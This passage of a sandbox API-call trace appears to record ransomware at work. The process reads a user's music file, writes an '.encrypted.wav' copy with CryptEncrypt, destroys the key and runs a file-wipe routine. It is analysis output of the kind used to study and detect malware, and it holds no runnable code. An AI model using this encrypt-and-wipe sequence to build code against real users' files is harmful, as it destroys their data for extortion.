dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.329] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.329] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.329] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.329] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.329] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.330] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q")) returned 0x10 [0027.330] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\OKF4yowSz-ApDzSJ.encrypted.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\okf4yowsz-apdzsj.encrypted.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.330] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.330] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.330] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.330] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.332] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.332] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0027.333] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x89a1, lpOverlapped=0x0) returned 1 [0027.334] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.336] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.337] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.337] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.337] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.337] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.337] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.337] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.337] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.338] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.338] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.338] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.338] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.338] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.338] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.339] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064c00, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c00*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.339] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.339] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.339] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.339] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.339] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.341] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.341] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x189a1, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x189b0) returned 1 [0027.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.341] CharLowerBuffW (in: lpsz="byte[100785]", cchLength=0xc | out: lpsz="byte[100785]") returned 0xc [0027.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.344] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.344] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.344] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.345] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.345] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x189a1, dwBufLen=0x189b0 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x189b0) returned 1 [0027.345] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.345] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.345] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.346] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.346] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.346] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.346] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.346] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.346] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.346] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.346] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.346] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.346] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.346] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.346] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.346] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.346] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.352] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.352] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.352] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.354] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.354] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.354] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.354] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.354] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.354] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.354] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.354] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0027.354] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.354] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.354] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.354] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.354] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.354] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.354] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.354] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.354] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.354] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.355] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.355] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.355] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.355] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.355] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.355] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.355] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.355] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.355] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.357] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.358] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.358] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.358] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.358] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.359] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.359] CharLowerBuffW (in: lpsz="byte[100769]", cchLength=0xc | out: lpsz="byte[100769]") returned 0xc [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.360] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.360] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.360] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.360] 